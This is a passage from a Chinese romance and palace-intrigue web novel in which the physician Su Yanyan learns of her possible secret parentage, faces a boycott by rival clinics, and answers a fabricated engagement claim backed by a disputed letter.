“你们真是……”她嘴角抽抽几下,无奈道:“苏夫人那边我已经搪塞过去了,她心里或许有疑问,但苏南星找出来之前,猜测只是猜测,巧合也只会是巧合。你们好好坐,一会儿荧惑组织要来人,好歹维护一下你们自己的形象。”她盯着萧景琮警告道:“先说好,别在人面前摆架子,不管心里有多不爽,给我憋着。让别人看出你的身份,你就回宫,在你大哥没回来前,不许你出来了。听到了没?”先把这个危险分子按住,省得两方互相看不顺眼,吵嚷起来露了身份。
前朝组织遇上当朝皇帝,也不知双方造了什么孽。
苏颜妍拍拍身边示意袁因来坐,她懒洋洋地问:“我娘睡下了?”
袁因脸上的无奈之色更重了:“已经休息了,太医给她配了安神汤,让她定心安神,避免过度惊悸。你真是洒脱,说走就走,把我就这么扔她屋里,这就是你苏家的待客之道?”
“待客要客气些,你是主人啦,我就不和你客套咯。”苏颜妍情绪依旧稳定:“袁姐姐别担心,我没有看到你们娘儿俩待一起就不高兴。血缘天性,我娘养了我这些年,并没有对我有多要求,我也是和她有感情的。她能找到自己的亲骨肉,我替她高兴呢。就是现在先不能确定真相,也不能告诉她你的身份,委屈袁姐姐先以我朋友的身份多来看看她。”
袁因靠着她柔软的身体,食指扣着大拇指,抵在苏颜妍额头弹了她一下:“说的什么客气话,之前就当你是我妹子,现在有了这层关系,你就是我亲姐妹。以后别和我这样客气,有需要尽管开口。”
三人小谈了会儿,门外传来“扣扣”的敲门声。
三下过后,门被人从外面推开,一位身形绰约的美妇人婀娜走进来,手抚胸口向他们行了个礼。
袁因爽朗和她打招呼,示意她看苏颜妍:“我这次找你来,就是因为这位妹子。我记得你认定我是你们组织的少主,是因为得知了我的生辰。因缘巧合,我得知与她同年同月同日生辰,她父亲是回春堂的苏南星,想必你对这位大夫,并不陌生。左使,你看看这位妹子,样貌和你家那位少主,是不是有相似之处啊?”
苏颜妍眨着眼,好奇地看着这位有点神秘的女子。荧惑左使露在面纱外的眼睛,眼波盈盈、欲语还休:“苏姑娘是京城名人,我自然知道。安南王逆党绑走苏大夫,我也暗中跟着去看过。少主当年确实在京郊呆过,所以我潜伏许久,慢慢捋出当年的线索。袁姑娘看上去并不相信自己是少主的血脉,这是找个姐妹出来挡我吗?”她声音转为哀怨:“苏姑娘今年十八,怎么能与你同年。应付我还这样不走心,奴家有些伤心。”
苏颜妍一个女子看着她这番作态,都有些怜香惜玉。袁因却对她的言行很有抗性,依旧保持正常的表情:“若没有确实的把握,我叫你来白跑一趟么
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?我可舍不得呢。苏夫人可是亲口说的,苏姑娘与我同年,只是初生时身体弱了些,苏大夫便说命格影响,教她对外把苏姑娘岁数往小报了两岁。那位苏大夫,隐瞒的事可不止是女儿的岁数,他的话,你最好也不要尽信。”
“净灵,你为人就是刚愎自用,从不肯信别人的话。太倚重自身的判断,总是会吃亏的,荧惑有今天,你真是难辞其咎。”一道略带沙哑的妇人声音遥遥传来,荧惑左使怫然竖眉,眼神箭一般飞射而出:“净清,你少在这里装模作样,作马后炮。我的事还轮不到你来指点。”
苏颜妍按住萧景琮就要打手令的手,用实际行动告诉他少打扰多吃瓜。
同样一身黑衣蒙面的妇人进来,圆圆的桃花眼,眼角带着点细纹。她扫过萧景琮和袁因,将目光黏在苏颜妍身上。半晌,她冲苏颜妍和蔼地笑了笑。
“组织没接受你上位的宣言,你就一头钻进牛角尖。都说过当年少主产子后,由于身体原因,将婴儿交予一位可靠的人抚养。既是少主亲自托付,对方怎么也不会让孩子有弟妹,分薄了亲人间的羁绊。”右使轻叹:“你选择袁姑娘,从一开始就不合格,她家中有弟妹,袁家夫妇也没与少主见过呢。你太着急,着相了。”
左使不忿道:“哈?你自己就有够武断,居然还有脸说我?你说袁姑娘与少主血脉无关,你认定的人是谁?总不能真的是这位苏姑娘吧?”
苏颜妍指着自己的鼻子说:“哈?”她又要卷进战场里了吗?
右使笑笑给苏颜妍递上一方锦画,画上有位美人,罗衫如赤焰,肌肤白如雪。更让她惊讶的是,画上的女子轻衫薄透,后背雪肤上隐隐有团赤色印记,像胎记似的。画画的人很有童心,给这画勾勒了胎记形状的花朵。
苏颜妍的后背处,还真有同款的红色花形。
右使看她神情,便知道这位聪慧的苏姑娘领会了她的言外之意。她笑着招呼苏颜妍:“苏姑娘不必紧张,想来少主将您托付给苏大夫,心愿就是您能平安喜乐长大成人。现在,您已经做到了。一人之力力挫众医馆老大夫们,有才华又有勇敢的心,值得我们尊敬。”
苏颜妍脸上有些羞涩的红晕:“都是猜测,请不要当真。我现在出门,听到京城里大家传的话,跟话本子似的,都要认不出他们说的是我呢。姐姐,你刚才说知道你们少主主动将孩子托付给可信的人,有证据托付给的这个人是苏南星、我爹吗?”
右使柔柔道:“自然是有的,甚至少主本人,还和苏大夫他们做过一段时间邻居。当时苏夫人同样身怀六甲,两人还打趣生下孩子可以义结金兰或者定个娃娃亲呢。苏大夫一心向医,少主还介绍他去岐黄谷研习精进医术呢。少主生子后,组织里保存的珍贵医书,她应该都送给苏大夫了吧。苏姑娘最近推出的几个成品药剂方子,应该参考过那些医书不是吗?”
右使的声音淡了下去,最后一句情绪已经接近漠然:“奈何怀璧其罪,大恩成仇。”
天真的女子不知自己拥有的是多少人梦寐以求的珍宝,慷慨引来的不是感恩与追随,而是猎杀和贪婪。
67. 说反派谁是反派
荧惑右使的话,让众人一起沉默。
当年的荧惑少主,想来也是芳华正茂的佳人。她有优渥的条件,有供养她、给她提供便利的组织,她或许心中有位钦慕的郎君,为他冒险靠近布满危机的京城。
她遇到年岁相近的苏家夫妇,同样怀着身孕的两人好奇地说着腹中的骨血。那位温文有礼的青年大夫是苏夫人信赖的夫君,潜移默化,也成了这位涉世不深的少主信任的人。
朋友苦恼自身医术不精,没法子和其他大夫竞争,难以在京中立足,养活妻儿。慷慨的少主随手赠予令人眼红的通天阶梯:一个进入医学圣地岐黄谷的名额。
或许,她的本意只是不想自己的朋友忧心未来,毕竟单纯的少主被保护的太好,还不能识破假意真心。
慢慢的,一个名额开始,她觉得双方越相处越融洽,这些贴心举止缓解了她离家入京的惶惑不安。她给出更多更珍贵的宝物,却没想到养大的是隐藏极深的贪婪恶兽。
最终,少主为自己当年的轻信付出了生命的代价,产下的孩子同样下落不明。
一晃二十年春秋,当年的情况再一次上演。
回春堂的苏颜妍忽的拥有神乎其技的医术,各种奇思妙想与神奇工具药剂,让她声名远扬。
独身的少女没有父兄,孤身一人,身上又有不菲的价值。多么诱人的饵,就算是最公平公正的岐黄谷,恐怕也要懊恼这些知识为何不为他们所独占。及至现在百家下场抵制的医馆,他们抵制的是自己没法拥有,抗议的是跟着喝不到肉汤。他们多么迫不及待想要吞食回春堂,壮大自己的身家,精进自己的医术。
苏颜妍何尝不是当年的荧惑少主,身怀宝藏又不自知,天真的以为和平的手段能得到同样的友善。殊不知,狼就是要吃人的,不生撕了这块香肉,他们又怎么会满足。
把对手打成异端,占据道德高地,指指点点。这样等才能在对手落败后,合理吞吃对方的遗产。
苏颜妍若有所思:“这是在指点我吗?我现在是不是有危险,你先提醒我小心,省得被拿捏,我推广出去的那些知识被独占。”
右使闻言笑了笑,柔声道:“苏姑娘真是冰雪聪明,京中现在的情势,那些联合起来想要讨伐你的医馆站在一个阵营,真当他们是正义感让他们出头声讨,维护传统吗?医学是这世界最不需要敝帚自珍的,今日流行的病症,和明天可能出现的,又有哪次是一成不变的。相比于传统,他们更注重创新和改良。”
袁因暗中瞪了萧景琮一眼,无声禁止他发表意见。萧景琮愤愤从鼻翼哼出一口气,苏颜妍罗袖下的手微微挪动,悄悄摸摸按住开始扭动的萧景琮。
荧惑的左右使都是聪明人,如今只差找出苏南星,就可以从他嘴里挖出二十年前被隐瞒下的真相。
荧惑右使问道:“左使应当将护卫分与袁姑娘一部分,我这边也可以安排一些人手给苏姑娘用。妾身这边下一趟安南府,亲自去将那位很能藏的苏大夫找出来。”
苏颜妍连忙拒绝:“我朋友会帮我,身边就不用安排什么人手了。”
右使恨铁不成钢地瞟她一眼,仿佛在说刚才警告别太信任人这套话算是白说了。这丫头半点没意识到,她也对身边的人太过仁慈。她摇摇头,与左使一同告辞离开了。
袁因跟着站起伸了个懒腰,道:“那我也先回去了,有事及时派人联系我。苏夫人那边,我给她留封信,再嘱咐她少开口对旁人说起我的事情。苏南星既然已经让苏东林给苏夫人带信,他那边的情势必定紧迫,如果扛不住安南府的压力,肯定会回来先把这边稳住。可不能让苏夫人打草惊蛇,把这位失踪专业户吓跑躲起来。”
苏颜妍揉了揉眉心,待她们都离开后,对萧景琮说道:“我发现这些成功的女性,真的是雷厉风行,敢想敢干。那我也去医馆,研究一下对付张神医那群盟友的抵制问题吧。”
萧景琮替她按压太阳穴,鼻息喷在苏颜妍头发上,隔着发丝,手指均匀用力。他对这种专业的事专业的人抢着干的事情司空见惯,他身边跟着的都是行业佼佼者。他拉着苏颜妍,想让她别成日蹲在医馆研究那些杂七杂八的:“张天翼都没传信说那些医馆的下一步操作,你也好好休息,别总挂心医馆那边的杂事。小桃现在学得有模有样,已经能代替你独当一面啦。”
“我就是要去看看小桃啊。”苏颜妍眯着眼享受帝王级按摩服务,小脑袋瓜跟着那根邪恶的手指一动一动:“我得先给她打个预防针,万一后面剧情发展成那些医馆全部的员工排着队来回春堂闹事,得让她觉得苗头不对赶紧跑。千万别正式和人家起冲突。”
“而且刚才我突然有了一个灵感。这些医馆如果真的觊觎我手里的药剂医方,我可以借机搞出十份八份的宝藏医书,悄悄散播出去,给那些贪婪之辈加点兴奋值。”她像是想到了那时的好玩场景,眉眼弯弯笑得天真无邪。
萧景琮不知怎的打了个冷颤。
这该死的熟悉的令人毛骨悚然的被支配感。
真有这样的医术宝藏,那些医馆知道的那瞬间,他们这团乌合之众立刻便会被引得撕斗不休,散成满天星。哪个抢到医书后会慷慨分享给众医馆?不分享,怕是马上成了众矢之的,苏妍立刻就能锁定这些人的身份。
让她康康,是哪个沉不住气先跳出水面来。
是医馆众人呢,还是苏南星那边呢?
她猜测的都不对,先跳出来的是济世堂的林玉珠。
这位身材略显粗壮的妇人主动约见苏颜妍,身边没有一直陪着的白延琅。
“真是稀客啊,你居然还有勇气主动找我说话。”苏颜妍合上手中账册,抬手止停隐在暗处的守卫准备攻击的动作。
林玉珠脸色苍白,脸颊有点类似饥饿消失后的凹陷感,下巴消瘦,肚子却依旧壮如水桶。她面对苏颜妍这个宿敌,昂起下巴回道:“我又不是没人要就活不下去的蠢货,苏颜妍,我
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来只是警告你,你现在耍的手段,我都知道。劝你不要想着能像算计我一样,把那些围堵你的大夫们当成傻瓜。小心引火烧身。”
苏颜妍睁大双眼,像看到一个稀奇古怪的东西似的看着林玉珠。她惊讶地问:“你这是在关心我?真是让我意外。你脑子现在是清醒的吗?还记不记得是我让你在大狱里蹲了好些时日?”
林玉珠苍白的脸上烧出绯红色,眼中的羞愤如火,恨不得在苏颜妍身上脸上烧两个洞:“我最讨厌你天真到愚蠢的样子。苏颜妍,不要总觉得一次成功,就可以一辈子都站在高处得意。我以前,也和你一样,相信自己能做的很好,掌控想要的权利。可是世界上的规矩,是那群握着权利的人定的。他们热衷用一根胡萝卜吊在驴子面前,驱使那个蠢货一直一直往前走。可当你真的要碰触到那个领域时,他们又轻描淡写推翻规则,告诉你一切都是假的,你真正拥有的从来不是你想象中的那样。”
“你已经被他们抓住把柄,别被那群野狗撕碎骨肉。”
苏颜妍并不因为对方似乎变得落魄而生出得意,她更觉得好奇:“你这次来就是为了说这个?难道你不想借着别人的力,让你的‘白哥’代替我接任回春堂了吗?他与我缠斗良久,也没捞到觊觎的家业。林小姐,你现在来找我,是不是算得上投敌了?”
林玉珠冷笑一声:“我现在也对你满是怨气,可我也是一个女人,我也曾差一点点得到家业,遭遇了一场骗局谋算。苏颜妍,打起精神来,别给自己找不自在。守好家业。”
她说完就走,很像放狠话警告校友的小学生,苏颜妍不拦她,让她扬长离去。
萧景琮看到哪个跳到苏颜妍面前都想抓走,被制止后不太高兴地问:“怎么不扣下她多问问她知道的情况?张天翼虽然当上那群人的话事人,可真正涉及机密的,他们也都没给张天翼说过呢。”
“倘若她是好意提醒,我们任她离开,对她也算是不亏不欠。倘若她是携带恶意来以言语做武器,算计我对她动手,她或许已经安排好真正的陷阱。我们能从他们身上找到点什么有用的?真要是扣下她,搞出点屈打成招似的场面,他们家济世堂当场就转成占据道德高地的一方啦。”
苏颜妍磨了磨牙,兴奋起来:“看样子马上就要有一场好戏,正在紧锣密鼓的筹谋。期待他们能整出点稀奇古怪的东西,让我好好和他们较量较量。”
“还能有什么,他们不是一直说你搞得那些奇怪的东西是反叛传统的,是难登大雅之堂的,他们自信的很呢。上次被你喷走,这次真是来着想趁着这段时间你露出的缺点攻击呢。”
萧景琮冷笑道:“天知道他们有多么过分,若不是你执意要自己处理,不许我出手,他们一个个为难你的,都是我的敌人。我早就让他们好好重新做人,免得以为自己能仗着人多可以为所欲为。”
苏颜妍:……老大,你这个发言,比他们这群反派还反派,仗势欺人的貌似是你呀。
68. 突如其来的婚约
苏颜妍感叹,搞不懂林玉珠为何能无视她们之间的芥蒂,跑到她面前来说些似是而非的话。她的小动作被看穿?开什么国际玩笑。
那群乌合之众真要是有一根毫毛的第六感,预感不到她背后这位大魔王级别的深渊战神么?有点眼力见的都不敢再跟风围堵她好伐。
这位济世堂林家的归宗女,隐约暴露了她与前面在人前展示的不同的样子呢。原来她不仅仅是粗鲁眼瘸的花痴女,还是隐忍洞察的潜伏者呢。
苏颜妍有些唏嘘,好好一个女人家家,非得把希望依附在男人身上,林玉珠还是肤浅啊。她干嘛要找白延琅结盟,这种人得志便猖狂的,原主这个前车之鉴还在,她就不能擦亮眼么?好像上次密室他们俩也闹过龃龉,看样子林玉珠也知道白延琅不是良人啊。苏颜妍右手托着下巴,一下一下摩挲着那块尖尖肉,发出吃瓜的啧啧声。
日子一天天过去,京城众医馆对回春堂的截杀进展到尾声。小桃已经完全失去力挽狂澜的气力,苏颜妍每次看到她哭唧唧的表情,都有些心虚。
她试图让小桃放平心态:“小桃啊,有一句很有名的话,叫做‘但愿世上无疾苦,宁可架上药生尘’。咱们是医馆,没有病人来,这是好事啊,难不成咱们还能为了天天营业,期待大家生病吗?你的眉头好像两条毛毛虫在打架,看的我难受。小桃啊,要不师父我给你多布置点作业,咱们趁着空闲时间,多精进一下本事?”
小桃幽幽地望着她,如同望着一个败家子负心汉:“师父,进京求医的患者没有减少,减少的是来咱们医馆的那些。他们这会儿全都跑到济世堂、复康堂这些带头排挤您的医馆里呢。我也不是眼红他们病人多,只是之前您又是免费推广知识、又是教他们寻找平价低价药材,这会儿您遇上困境,他们没有一个站出来为您发声的。我想不通他们为什么这样,难道他们之前说过的那些感谢,都是哄我们的话,实际哪里能治他们,他们都会这样说吗?”
这就钻牛角尖了。苏颜妍暗暗叹息。她说:“难不成咱们救他们的时候,图的是他们一辈子对咱们言听计从无底线跟随吗?他们是独立的人,能做自己想去做的事,勉强不来的。我们只为救死扶伤,他们求的是平安健康,没有哪一条规矩是双方一旦接触就要绑定一辈子的。咱们医馆缺少药材是事实,他们知情后没得选,只能去别家,人之常情。”
小桃拍案而起,眼睛红红的,像一只暴躁小兔子:“这种人之常情没差,可是,有的实在是很可恶啊!你知道领头和咱们作对的那家复康堂,他们那个讨厌的掌柜,公然说一些脏话侮辱人啊!明明咱们也没得罪他吧?上次他来医馆堵门,咱们都没骂的像他说的那么难听的。有从咱们医馆转过去的病人,附和他讲师父你的坏话的。我想不明白,咱们哪里对不起他们了,他们去别家我们也没拦着,干嘛要附和骂我们呢?”
她抿着唇,一副恶狠狠的样,实际是在用力把要掉落的眼泪憋回去,憋了半天,把脸都涨红了。
苏颜妍发出一声轻叹,气息浅又绵,她伸手替小桃揩去眼角晶莹的水渍。
是的,世上就是有这种人,他们不记恩,也没有什么傲骨铮铮。为了实现自己的需求,他们连亲生爹妈也能拿出来当筹码,更何况一个无亲无故的医馆大夫。
什么?这大夫曾经救治过他?那又怎样,大夫救人不是天经地义吗?他们去求医,也付过银钱了啊,难不成还要感恩戴德一辈子吗?
小桃还是单纯,遇到的人大多数是有求于她的,各种态度都是压着的,鲜少有祝家妇这种奇葩到人尽皆知的。可是,当‘求’的条件发生变化时,人的态度也自然会发生变化。人家都不需要求着你了,自然不会再屈着膝说软话。
这傻姑娘,居然还因为这个伤心呢。太善了!
小桃的担忧,也是回春堂对外困境的真实表现。药材中断远比预想的要艰难许多,药材少,病人少,医馆萧条,几乎立刻就是一副摇摇欲坠的破产样。
这时代可不兴什么破产,入不敷出撑不下去,失去营生,也失去糊口的能力。约等于隐形杀人,不怪小桃难受到要哭。
锦上添花、烈火烹油,回春堂兴旺的时候,舔着脸贴上来的人很多;落井下石、趁人之危,这样的小人更多。
小桃听说的复康堂掌柜公然协同上门求诊的病人一起辱骂苏颜妍的事,并不是个例。
有的医馆并没有表示与苏颜妍敌对,那些上门的患者为了博取好感,主动挑着回春堂说几句不是。仿佛踩回春堂成了正确的事,正义的事,不这样做会倒霉似的。
“我早就觉得一个女子出门顶门立户不妥当了,果然,女人就是不行。”
“搞什么乱七八糟的宣传、推广,有什么用?咱们也没有当大夫的命,就是告诉我们,也用不上这些东西啊。她就是哗众取宠。”
“这女人心狠手辣呢,要知道原本回春堂可是她爹指名要传给弟子经营的。偏她疑心病重,总怀疑人家白郎中想抢她的家产。以小人之心度君子之腹啊。搞得现在医馆也开不下去,她以后怎么对得起她家里的先辈。”
“此女心性有瑕,缺乏管教,想来自小也没学过什么女诫、三从。你们说她日后能有男人要吗?这样怕不是要当一辈子的老姑娘?”
……
几句话下来,话题自然转到苏颜妍的私事上,这群口无遮拦的人,臆想着怎么拿捏一只天鹅,没有一个肯低头看看脚边镜子般的反光,那是一群癞蛤蟆。
回春堂就像一颗失去根系的树,叶子先是蔫了,然后叶柄泛黄,整个儿显得病恹恹的。往常听见点反对的意见都要掰扯两句的回春堂众人,也失去了回怼恶意的勇气。这让那些小人更加嚣张,甚至有人敢冲着苏颜妍吠声。
萧景琮那是忍不下去的第一人,苏颜妍拖着他紧紧捂着他的嘴,才没让他吩咐下去直
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接把人干掉(物理意义上)。就这样,那些嘴臭的人经过小巷时都被套麻袋一通拳打脚踢,顶着鼻青脸肿的猪头好几天。由于这种人通常不会只得罪一人,他们也找不到仇人是谁,只好自认倒霉。
苏颜妍知道后捧着萧景琮的俊脸一顿晃:“大英雄,你要记得咱们现在是在做戏钓鱼,不是真的束手无策挨欺负。你悠着点折腾他们,让幕后那些‘鱼’察觉不对跑掉,咱们这些时日受的气可白挨了。”
她盯着手中这颗满脸写着‘我没错’的脑袋,‘啾咪’一口,哄道:“跟我保证,说‘知道了’!”
萧景琮一张脸沉的能拧出三斤水来,最后还是听话地说道:“我知道了,不会打死他们的。”他要让他们活着受苦,时时刻刻生活在水深火热中。
欺负他罩的人,他们这辈子完了。不知者也有罪!
“你这滑头,千万别坏了计划哦。”苏颜妍摇摇头,不再管他。世界第一小心眼的萧先生能出口保证,结果总不会是那些人突然获罪咔嚓,打草惊蛇。至于受点不可控的小伤,哎呀,毛毛雨啦。
嘴臭的人有“天”收,嘴贱的人暂时还不能动——
济世堂林有仁放出话,有心让女儿林玉珠再嫁,新女婿就是曾经差点接手回春堂却被赶走、后期还被官府不明原因通缉过,现在又重新满血复活出现人前的白延琅。
当时林有仁问话时,济世堂里的人很多,有药店送药材的、有上门求诊的、有同行拜访的,总之非常非常多。
这些人都以为白延琅肯定会欣喜若狂的同意。林玉珠虽然是二婚,但她有个好爹,有个好家势啊。林有仁也只此一女,娶了林玉珠,日后的济世堂,未必就不能是白延琅这个新姑爷的。
谁知,白延琅不仅没答应,还当着众人的面说出了拒婚的理由:“我亦心仪林姑娘久矣。奈何恩师苏南星曾亲自将苏师妹许配与我,恩师待我恩重如山,我虽一直当苏师妹是亲妹子,从无半分儿女私情,却也不好直接越过她娶林小姐。”
吃瓜群众炸了:“什么?你和苏神…那位苏姑娘还定了亲?”
“怎么争医馆的时候你不说出来,现在回春堂都要被她作关门了,你这时候娶她,也太仁义了。”
“是啊白兄,那位苏…姑娘怎么待你的,大伙都看在眼里。这样的女人,哪里有半分贤妻良母的样儿!虽说是父母之命,可到底只是师徒,算不得至亲,也不用为了一个承诺牺牲自己的因缘啊。”
……
白延琅苦笑着,一副心甘情愿的样子:“多谢诸位替我白延琅仗义直言。苏师妹只是一时钻了岔路,我怎么会怪她。除非我师父苏南星亲自回来出面解除这姻缘,我白某人是绝不会背信弃义的。”
他眼中泛红,飘飘瞥着看了林玉珠一眼,无端一副难舍难分的调儿。他又躬身向着林有仁行礼,嘴上一直叨念着“请勿怪罪”,倒把提议嫁女的林掌柜架在了火上。
69. 苏夫人的澄清
惊!回春堂苏家的爱恨情仇,是为了什么,苏大夫竟无视父母之命,无情赶走未婚夫君,独占医馆?
痴情郎为恩情忍耐蛰伏,念旧恩忍痛拒婚富贵佳人!
这些就是最近传的沸沸扬扬的小道消息,关于苏颜妍和白延琅延伸出的各种猜测。所有的猜测中,无一都是男子多么痴心痴情重情重义,女子多么负心薄情争权夺利。
小桃险些气歪了鼻子。
苏颜妍却没空安抚她。有个比小桃更气的人现在化身暴龙,等着她去灭火呢。
萧景琮形象地演绎什么是“怒发冲冠”,喷火的眼,紧抿的唇,捏的咔咔响的拳头,马上要安排人将情敌当场黏成泥的行动力……苏颜妍一边头大,一边费劲地阻拦这位任性起来不顾一切的先生。
“想想咱们的计划,我们忍耐这么些天,看着那群小丑跳上跳下,不就是为了引出这种人吗?婚约这种事,空口无凭,他若没有点什么证据,凭什么让大家相信。难道大街上有女子喊着她和皇帝陛下真心相爱,皇帝允她入宫当贵妃,大家就信以为真吗?更多是以为这种妄想者是疯子吧。白延琅和我们母女已经撕破脸,他手中必定握着和苏南星有关的东西。这会儿你捉他,前面那些天的忍耐全白费了。”
“他居然敢造谣和你有婚约!”萧景琮浑身都是热腾腾的,燥气涌动,如同一只上蹿下跳要吐舌头嗷嗷叫的大狗子,冲着苏颜妍控诉道:“我们都还没有宣布婚约,要传婚约,我才是那个要和你成亲的!我就要杀了他,把他剁成肉酱,扔去喂鱼,拖下去喂狗,可恶!也难解我心头之恨!”
苏颜妍圈抱着他柔韧的腰,她的脸刚好能贴在萧景琮砰砰急跳的胸前。她嵌合在他怀里,听着气流声从这具鲜活的□□喘息进出,她的安抚初衷慢慢被染上热度。
“好好好,我未来的夫君可是威风的萧景琮陛下,那些蝇虫胆大包天,哪里抵得上咱们亲亲宝宝一根头发丝。不气不气,眼不见为净,他们都是秋后的蚂蚱,跳不了几天。咱们才是要相守一生的人,不要理他,多看看我呀。”
她的手贴着的肌肤愈加炽热,耳边心跳声响如擂鼓。萧景琮暴怒如同一捧砂砾,在她手心攥着,一粒一粒漏下去,根本留也留不住。
苏颜妍按下暴跳要杀人的萧景琮大魔王,她沉得住气,假的就是假的,说一千遍一万遍,也不会变成事实。
可能畏惧于苏颜妍之前怒怼张神医的英勇姿态,那些离谱的闲话倒是没有人跑到她跟前来询问真假。大家暗地里默默吃瓜,竖着耳朵听着风吹草动,不肯错过一丁点热闹。
苏夫人那里就不一样了,她柔弱的性子几十年如一日,便有那些八卦的妇人半是真心半是假意的去问她:“听说当年苏郎中曾经给你家女儿和徒弟定过亲啊?怎么一直没听你说,前些时日这俩小年轻还闹得那样僵,害咱们跟着忧心。合着咱们白担心了,是这小两口闹矛盾?你这当娘的也不多说说他们,哪能任性起来这样闹呢。”
苏夫人初听当然震惊,她的丈夫可从没给她说过定亲的事。现在前有苏东林传信一事,后有歹人进苏家掳走她的事发生,她对这些突然传出的消息十分警惕。
“啐!什么婚约亲事的,我这个当娘的听都没听过,你们倒是一个个说的有鼻子有眼的。我们家妍娘可是清清白白大姑娘,和白延琅从来没有私下定过什么亲。再让我听到你给别人传这些消息,我就是拼上一口气,也要去你家砸了你们家的门!”
女子的名声何其紧要,虽然有袁因这位突然占据她心上第一人的位置,可苏颜妍毕竟是她疼了二十年的人。她比任何人都期盼早点找到丈夫,好好盘问当年到底做了什么,是不是把他们的亲女送走,养大了别人的孩儿。可是,可是苏南星做下的孽,她自己尚且糊里糊涂一过二十年,当年只是个婴儿的苏颜妍更加无辜可怜,现在她当然不能容忍别人借口从亲事上抹黑她。
那些好舌的妇人听到苏夫人铿锵坚定的话,往往都面露尴尬之色。毕竟当着人家小姑娘的亲娘说人家的闲话,被骂两句都是苏夫人脾气好。
这些妇人便讪讪几句:“对不住啊苏夫人,我这也是听别人说的,怪我糊涂,早就该听到时就狠狠骂几句。我就说咱们看着苏小神医长成大姑娘,可从来没听说什么定下亲事。真有婚约,你这个当娘的,还能由着她性子去和别的男子一起进出不成。都是误会,都是误会。”
苏颜妍经营回春堂后,和萧景琮时常同进同出。通常她出门是会做点乔装打扮的,可时日长了,总有本尊出行被邻居瞧见的时候。周围的人都默认二人是在苏夫人面前过了礼的,原本都习以为常。
可,白延琅那席“定亲说”,可一下子把苏颜妍给泼上了脏水。
真有定亲的事,那苏颜妍不仅不履行父母之命,还翻脸赶走未婚夫,只为独占医馆,这是不孝。明知身负婚约,还与别的男子出双入对,视未婚夫为无物,这是不贞。更别说前阵子刚发生的,她公然顶撞先帝亲赐的“国之圣手”张神医,这是不仁。
层层叠加下来,苏颜妍这名声,简直比洗了墨的水还要黑,也不怪这些妇人敢登门去问苏夫人。
苏夫人否认婚事,苏颜妍身上这层脏水算是去了一半。
和那些妇人说的一样,她们都是看着苏颜妍长大的,真要是有私情,二十年里,怎么可能没有一个邻居看到。
白延琅过分了,身为一个男子,哪有用感情问题去抹黑自己恩师的女儿的,手段太下作了。
岂料这风向还没全然翻转,白延琅再次跳了出来,这次他手中出示了师父苏南星亲笔书信!
“在下一忍再忍,只想为了保住师父家人的清白名声。可是小师妹一次又一次伤我,连师母也为了她违背师父的安排,我实在不能忍下去了。请大家仔细看,我手中拿着的,是我师父亲笔所写的信件。上面清清楚楚写着,他如果遇到意外不能守着回春堂,让我继承医馆好好经营,与师妹尽快完婚。师父曾经给师母写过信,托师父的族侄亲自交给师母,这位族侄是
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京郊学舍的学生,你们可以去打听打听,品行很好的。他能证明我说的每一句都是真的,绝无虚言。”
白延琅一副被挚爱之人重伤的难过样,垂头敛目,不吵不闹,倒是让不少人更加相信他的话。他人证物证俱在,证明他说的都是真的,苏颜妍真的辜负了他,违背了父亲的命令。
“这个苏南星!他葫芦里到底卖的什么药!”萧景琮恨恨捶桌,满脸戾气。
苏颜妍手里翻看着从苏夫人处取来的那封信,仔仔细细对比书房中苏父失踪之前留下的笔记,核对每一个字的笔迹。她眼都没抬:“白延琅和苏东林合作了,他们手中拿着的,可能是苏南星亲自写的信,也可能是仿制的。白延琅手中有苏南星的手迹,苏东林认识能仿写的人,或者他自己就是这个人,倒也不必把原因都归在苏南星身上。”
她抬起头冲萧景琮笑了笑:“你哥还在安南府,一直盯着那里。想从他手底下隐瞒行踪,暗中安排人手进京传递这种消息,可不像是普通人的手笔。苏南星真有这样的势力,他也不至于被安南叛党捉住,一扣压就是这么久。”
她看了半天,没找出破绽,遗憾放下手中的纸,继续和萧景琮说道:“白延琅打着亲事的幌子,实际他想要的只有一个,就是回春堂。只要他手中的那封信能让所有人相信是真的,我是不是曾经与他定亲不重要,他也不敢一直逼迫我嫁与他。他这种人,只会假惺惺表示不忍逼迫自己的师母师妹,也不敢违背师父的遗命,折中只继承医馆,让我自己安排自己的姻缘。”
“回春堂到底有什么,引得他一直不放手。”萧景琮啐了一口,满是对白延琅的不满。
苏颜妍摇摇头,道:“这个问题我就不知道答案了,我只知道,他手里捏着信,一定会尽快来医馆与我对峙,用外力胁迫我交出回春堂。你千万忍住,他不会蠢到在大庭广众之下再动手伤我。”
“呵,他就是个蠢货!你忘记他在岐黄谷就是当着众人的面动的手?”萧景琮很是不甘心不能立刻把白延琅按死,这会儿只好焦躁地转来转去。
“正是因为岐黄谷他动过手,结果咱们都知道,他被你打个半死,喜提通缉几个月,连京城大门都不敢明着走。现在他手里有正大光明接手医馆的证物,不会冒险再动手的。”
苏颜妍料的半点不错,白延琅果然沉不住气,或者他太过急切想要翻盘,重新夺取他心心念念的一切。
他带着苏南星的手书,来回春堂公开叫板,让苏颜妍听父命归还医馆。他果然假惺惺表示,只要苏颜妍按照苏父的遗愿将医馆交给他,他愿意支持苏颜妍解除婚约,二人男婚女嫁,各不相干。
端的是打得一手好算盘,算盘珠子都隔着八条街蹦到她脸上了。
苏颜妍连大门都没给他开,对外就是一句话:“你怎么能证明手里的那封信是‘苏南星’的亲笔?苏南星行医多年,笔迹可不是什么秘密,开药方每个病人手里都会留的。天下的奇人异事多得很,万一这信是伪造的怎么办呢?”
70. 医馆被抢了
面对苏颜妍的质疑,白延琅没有慌张,反倒信心十足地笑了笑:“师妹还是这样任性,想必就算师父亲自站出来嘱咐与你,你也要闹着不听从。这封信是不是师父亲手写的,其实你是知道的。你不承认,我只好找能认得出的人来帮我证明。”
“这谁能证明?响水街那个退役的老吏吗?听说他能根据字迹怎么写的,那种笔迹方向认出是不是一个人写的。”
“对,听说每个人写字都有自己的习惯,有的习惯起笔重、收笔轻;有的习惯写固定笔顺时少一笔…仿写的再形似,找个高手看一下,还是能辩得出来的。”
……
苏颜妍自然也听见这些小声议论真假的吃瓜群众,她打量着白延琅,试探性地问道:“怎么,你打算去请哪位有名的辨字高手?是哪位先生,请出来给大家长长见识?”
她现在最不怕的就是白延琅找官方的人来,毕竟她身边那位虎视眈眈的恶犬系男朋友,摩拳擦掌在等待出点力气。
白延琅微微一笑,摇了摇头:“何必麻烦外人,师父的笔迹如何,除了你我,自然是他朝夕相处的夫人最能认得出。咱们请师娘出面,就当着大伙儿,让她好好看看我手中这封信,是不是师父亲手所写。”
“是啊,请苏夫人出来辨一辨呗,夫妻至亲,恩爱多年,总不会连丈夫的字也认不出来吧。”
